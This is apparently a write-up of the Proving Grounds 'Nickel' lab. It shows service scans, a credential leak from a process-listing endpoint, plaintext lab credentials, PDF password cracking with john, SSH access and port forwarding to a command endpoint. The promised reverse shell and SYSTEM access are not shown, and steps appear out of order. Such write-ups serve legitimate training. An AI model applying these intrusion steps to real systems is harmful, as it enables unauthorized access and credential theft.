Proving Grounds: Nickel

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

Overview

To exploit this lab, you'll leverage credential disclosure on a web application endpoint to gain an initial foothold. This lab helps you understand how to exploit credential disclosures, crack passwords, and bypass firewall protections for privilege escalation.

Learning objectives

After completion of this lab, learners will be able to:

Enumerate services to uncover potential web application endpoints and examine their functionality.
Exploit a credential disclosure to gain initial access via FTP and SSH.
Extract information from a protected PDF and discover hidden services.
Bypass firewall restrictions using SSH port forwarding to access the hidden service.
Execute a reverse shell payload to gain SYSTEM-level access on the target machine."

Scenario

This lab demonstrates exploiting a credential disclosure in a web application to gain an initial foothold via SSH. Learners will extract credentials from a password-protected PDF to uncover a hidden administrative service, then bypass firewall protections using SSH port forwarding. The lab concludes with executing commands as SYSTEM and deploying a reverse shell, showcasing advanced enumeration, port forwarding, and privilege escalation techniques.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Convert the protected PDF into hash material for password recovery.

└─$ pdf2john Infrastructure.pdf 
Infrastructure.pdf:$pdf$4*4*128*-1060*1*16*14350d814f7c974db9234e3e719e360b*32*6aa1a24681b93038947f76796470dbb100000000000000000000000000000000*32*d9363dc61ac080ac4b9dad4f036888567a2d468a6703faf6216af1eb307921b0

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(kali㉿kali)-[~/offsec/nickel]
# Attempt to recover a password from the captured hash material.

└─$ john pdfhash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 4 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ariah4168        (Infrastructure.pdf)     
1g 0:00:01:10 DONE (2026-07-01 19:55) 0.01426g/s 142733p/s 142733c/s 142733C/s arial<3..ariadne01
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output shows which services are listening and where connections are established.

ariah@NICKEL C:\Users\ariah\Desktop>netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       1996
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       1252
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       828
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1016
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       368
  TCP    0.0.0.0:8089           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:33333          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       620
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       520
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       364
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1008
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       1008
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       612
  TCP    0.0.0.0:49670          0.0.0.0:0              LISTENING       1896
  TCP    127.0.0.1:80           0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING       1996
  TCP    192.168.150.99:22      192.168.45.200:36668   ESTABLISHED     1252
  TCP    192.168.150.99:139     0.0.0.0:0              LI
  ---

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.60 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
22/tcp    open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)
|   256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)
|_  256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nickel
| Not valid before: 2026-06-30T23:20:38
|_Not valid after:  2026-12-30T23:20:38
|_ssl-date: 2026-07-01T23:25:30+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: NICKEL
|   NetBIOS_Domain_Name: NICKEL
|   NetBIOS_Computer_Name: NICKEL
|   DNS_Domain_Name: nickel
|   DNS_Computer_Name: nickel
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-01T23:24:25+00:00
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
8089/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
33333/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

FTP, SMB did not work
Checking out port 8089, we have 3 buttons, but when clicked on it it takes time and does not load anything
Checking the source code, it redirects to http://169.254.85.99:33333/list-running-procs
However, this is not our ip, changing to our ip, we get cannot list running processes
Changing the method from Get to post using burp suite, we get a list of processes and username and password for user ariah:Tm93aXNlU2xvb3BUaGVvcnkxMzkK which after decoding to base64 we get NowiseSloopTheory139
Using the username and password we found, we are able to login using ssh

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The output records the result observed during this authorized lab step.

ariah@NICKEL C:\>cd ftp

ariah@NICKEL C:\ftp>dir
 Volume in drive C has no label.
 Volume Serial Number is 9451-68F7

 Directory of C:\ftp

09/01/2020  12:38 PM    <DIR>          .
09/01/2020  12:38 PM    <DIR>          ..
09/01/2020  11:02 AM            46,235 Infrastructure.pdf
               1 File(s)         46,235 bytes
               2 Dir(s)   6,962,274,304 bytes free

ariah@NICKEL C:\ftp>

We found a file under ftp folder, connected using the ariah username and password to ftp and downloaded the pdf file
the pdf was password protected, we used pdf2john to crack the password
We did port forwarding for our local post 1234 to the ssh port 80 of the system
we can now browse to localhost:1234 to get connected to port 80 of the system
as the pdf said, it is temporary command endpoint, trying to run command using ?whoami

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Use the recovered credentials to establish a remote session.

└─$ ssh ariah@192.168.150.99                                                               

ariah@NICKEL C:\Users\ariah>whoami
nickel\ariah

ariah@NICKEL C:\Users\ariah>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

ariah@NICKEL C:\Users\ariah>

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.